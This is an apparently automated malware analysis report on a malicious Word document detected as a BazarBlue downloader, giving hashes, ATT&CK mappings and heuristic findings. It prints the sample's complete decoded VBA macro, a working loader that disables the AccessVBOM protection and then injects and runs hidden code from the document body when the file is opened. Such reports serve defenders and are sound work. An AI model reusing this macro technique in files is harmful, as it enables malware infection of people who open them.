Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 791c9964264e5d04…

MALICIOUS

Office (OOXML)

47.5 KB Created: 2021-07-01 10:26:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: c3bd09b48fa84698c956fa328aedb91d SHA-1: 2d5db1e991183b69dbe84e85f259245accdcf32f SHA-256: 791c9964264e5d04e99d3a9b7050fec40b2e0b7faf537d3b2ae2600dc047454a
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains VBA macros that execute upon opening, utilizing WScript.Shell and CreateObject to write a registry value and potentially download and execute a payload. The script attempts to write to 'HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM', indicating an attempt to modify system settings for persistence or execution. The embedded URL in the document body, though heavily obfuscated, suggests the download of a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.BazarBlue09212-9898946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BazarBlue09212-9898946-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub varMain()
CreateObject("wscript.shell").RegWrite memoryMainButton, 1, "REG_DWORD"
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub varMain()
CreateObject("wscript.shell").RegWrite memoryMainButton, 1, "REG_DWORD"
End Sub
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Sub queryIterator(rightTextboxView)
Set countDataGeneric = GetObject("", "word.application")
With countDataGeneric.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
varMain
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1514 bytes
SHA-256: 17c9c41d5741ffcc3ddbd0ee34ee76e00425cec2fb925ddfe6d385a2ac6a062c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "procedureRightDelete"
Function windowSwap()
windowSwap = ActiveDocument.Range.Text
End Function
Sub varMain()
CreateObject("wscript.shell").RegWrite memoryMainButton, 1, "REG_DWORD"
End Sub
Function procMainPtr()
procMainPtr = textIterator(windowSwap, 8 / 4, 1500000)
End Function
Function textIterator(titleCountRepo, lenLoadIndex, queryGenericLocal)
textIterator = Mid(titleCountRepo, lenLoadIndex, queryGenericLocal)
End Function

Attribute VB_Name = "counterCopyPaste"
Function copyButton(copySelect)
length = Len(copySelect)
For i = 0 To length - 1
reversedText = reversedText & Mid(copySelect, (length - i), 1)
Next
copyButton = reversedText
End Function
Sub autoopen()
varMain
queryIterator copyButton(procMainPtr)
End Sub
Sub queryIterator(rightTextboxView)
Set countDataGeneric = GetObject("", "word.application")
With countDataGeneric.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString rightTextboxView
End With
countDataGeneric.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function memoryMainButton()
memoryMainButton = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security\AccessVBOM"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: 755f1165e68b006ab450e8b8226765c6db7da83f75f861c45ce4eb1fdfd53240

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